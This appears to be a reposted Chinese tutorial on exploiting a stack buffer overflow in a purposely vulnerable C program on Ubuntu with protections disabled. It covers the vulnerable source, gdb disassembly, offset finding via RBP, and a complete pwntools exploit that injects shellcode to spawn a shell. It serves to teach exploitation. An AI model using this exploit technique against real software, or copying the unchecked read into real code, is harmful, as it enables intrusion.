编写的第一个POC代码

栏目: 编程工具 · 发布时间: 5年前

内容简介:这是一个非常标准的带有栈溢出漏洞的程序,编译与运行的条件如下:利用这个漏洞的思路如下:使用pwntools中的cyclic生成cycle pyload,获取以下信息:

0x00 Target

#include <assert.h>
#include <unistd.h>

int vuln()
{
        // Define variables
        char arr[400];
        int return_status;
        // Grab user input
        printf("What's your name?\n");
        return_status = read(0, arr, 800);
        // Print user input
        printf("Hey %s", arr);
        // Return success
        return 0;
}

int main(int argc, char * argv[])
{
        vuln();
        return 0;
}

这是一个非常标准的带有栈溢出漏洞的程序,编译与运行的条件如下:

  • 虚拟机,Ubuntu 18.04 LTS, Kernel: 4.15.0-45-generic
  • 使用如下GCC指令编译,关闭PIE(Position-independent Executable,指令位置无关可执行程序),关闭栈保护功能,启用栈可执行功能。
gcc -g -no-pie -fno-stack-protector -z execstack -o vuln2 vuln2.c

利用这个漏洞的思路如下:

  • 将shellcode通过标准输入写入arr[400]数组;
  • 覆盖vulr栈帧保存的上一级函数的返回地址为arr[400]的起始地址;
  • 当函数调用ret指令时,跳转到arr[400]执行shellcode。

0x01 Fuzzing

使用pwntools中的cyclic生成cycle pyload,获取以下信息:

  • arr[400]到栈帧中返回地址保存位置的offset;
  • arr[400]的绝对地址,可以用vulr()栈帧的rbp和offset计算得到。

编写的Fuzzing程序如下:

def find_rbp():
    cycle_payload = cyclic(512, n=8)
    clean_corefile(COREDUMP)

    # Generate coredump
    p = process([VULR_BINARY])
    p.sendline(cycle_payload)
    p.wait_for_close()

    # Analise coredump 
    core = Coredump(COREDUMP)
    clean_corefile(COREDUMP)

    # Find RBP address, RBP address is equal to RBP after leaveq
    return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)

很多基于32位 Linux 系统讲解栈溢出的教程中采用根据EIP中存储的值来确定offset,但这个方法在x64系统中不适用。具体地,注意程序生成的coredump文件:

(gdb) disas
Dump of assembler code for function vuln:
   0x00000000004005c7 <+0>:    push   %rbp
   0x00000000004005c8 <+1>:    mov    %rsp,%rbp
   0x00000000004005cb <+4>:    sub    $0x1a0,%rsp
   0x00000000004005d2 <+11>:    lea    0x11b(%rip),%rdi        # 0x4006f4
   0x00000000004005d9 <+18>:    callq  0x4004b0 <puts@plt>
   0x00000000004005de <+23>:    lea    -0x1a0(%rbp),%rax
   0x00000000004005e5 <+30>:    mov    $0x320,%edx
   0x00000000004005ea <+35>:    mov    %rax,%rsi
   0x00000000004005ed <+38>:    mov    $0x0,%edi
   0x00000000004005f2 <+43>:    callq  0x4004d0 <read@plt>
   0x00000000004005f7 <+48>:    mov    %eax,-0x4(%rbp)
   0x00000000004005fa <+51>:    lea    -0x1a0(%rbp),%rax
   0x0000000000400601 <+58>:    mov    %rax,%rsi
   0x0000000000400604 <+61>:    lea    0xfb(%rip),%rdi        # 0x400706
   0x000000000040060b <+68>:    mov    $0x0,%eax
   0x0000000000400610 <+73>:    callq  0x4004c0 <printf@plt>
   0x0000000000400615 <+78>:    mov    $0x0,%eax
   0x000000000040061a <+83>:    leaveq 
=> 0x000000000040061b <+84>:    retq   
End of assembler dump.

此时,RIP寄存器的值为:

(gdb) p $rip
$1 = (void (*)()) 0x40061b <vuln+84>

说明retq指令执行还没有被完全执行,程序就发生了段错误。retq指令执行时,会检查栈中存储的返回地址是否合法。如合法,读入到rip寄存器并执行,如果不合法,将发出中断。此时,rip寄存器并没有读入栈中存储的返回地址

因此,不能通过分析rip来确定溢出的offset,但我们注意到leaveq已经获得了执行,栈中存放的rbp已经被覆盖,栈中存放的rbp值已经读入rbp寄存器,可以通过分析rbp来确定溢出的offset。

0x02 POC

由上,就可以编写出完整的POC代码了

#!/usr/bin/env python2

import os
from pwn import *

VULR_BINARY = './vuln2'
COREDUMP = './core'

context.update(arch='x86_64', os='linux')

def clean_corefile(corefile):
    if os.path.exists(corefile):
        os.remove(corefile)

def find_rbp():
    cycle_payload = cyclic(512, n=8)
    clean_corefile(COREDUMP)

    # Generate coredump
    p = process([VULR_BINARY])
    p.sendline(cycle_payload)
    p.wait_for_close()

    # Analise coredump 
    core = Coredump(COREDUMP)
    clean_corefile(COREDUMP)

    # Find RBP address, RBP address is equal to RBP after leaveq
    return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)

def poc_start():
    shellcode = asm(shellcraft.sh())
    rbp_address, rbp_offset = find_rbp()

    payload = shellcode + asm('nop') * (rbp_offset + 8 - len(shellcode)) + pack(rbp_address - rbp_offset, 64)

    p = process([VULR_BINARY], stdin=PTY, stdout=PTY)
    p.sendline(payload)
    p.interactive()

poc_start()

执行shellcode后,即运行了一个shell

编写的第一个POC代码

Reference


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

图解密码技术

图解密码技术

[日] 结城浩 / 周自恒 / 人民邮电出版社 / 2014-12 / 79.00元

本书以图配文的形式,详细讲解了6种最重要的密码技术:对称密码、公钥密码、单向散列函数、消息认证码、数字签名和伪随机数生成器。 第一部分讲述了密码技术的历史沿革、对称密码、分组密码模式(包括ECB、CBC、CFB、OFB、CTR)、公钥、混合密码系统。第二部分重点介绍了认证方面的内容,涉及单向散列函数、消息认证码、数字签名、证书等。第三部分讲述了密钥、随机数、PGP、SSL/TLS 以及密码技......一起来看看 《图解密码技术》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

MD5 加密
MD5 加密

MD5 加密工具